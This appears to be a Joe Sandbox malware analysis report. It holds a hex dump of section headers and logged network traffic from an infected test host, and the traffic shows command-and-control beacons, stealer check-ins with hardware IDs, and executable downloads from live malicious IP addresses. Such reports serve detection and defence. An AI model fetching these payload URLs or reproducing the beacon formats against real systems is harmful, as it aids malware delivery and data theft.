00 00 00 40 00 00 e0 69 62 67 68 74 69 71 78 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 6c 74 63 6a 6c 78 00 10 00 00 00 c0 4b 00 00 06 00 00 00 02 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002708001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002709001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="build"tale------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002710001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="build"tale------AFHJJEHIEBKKFIDHDGHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002711001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJECHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="build"tale------AEBGIEGCFHCFHIDHIJEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"tale------FBAFIIJKJEGIDGDGIIDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="build"tale------FBGIDHCAAKEBAKFIIIEB--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49712 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50196 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50233 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50241 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50247 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50250 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50250 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50278 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50306 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
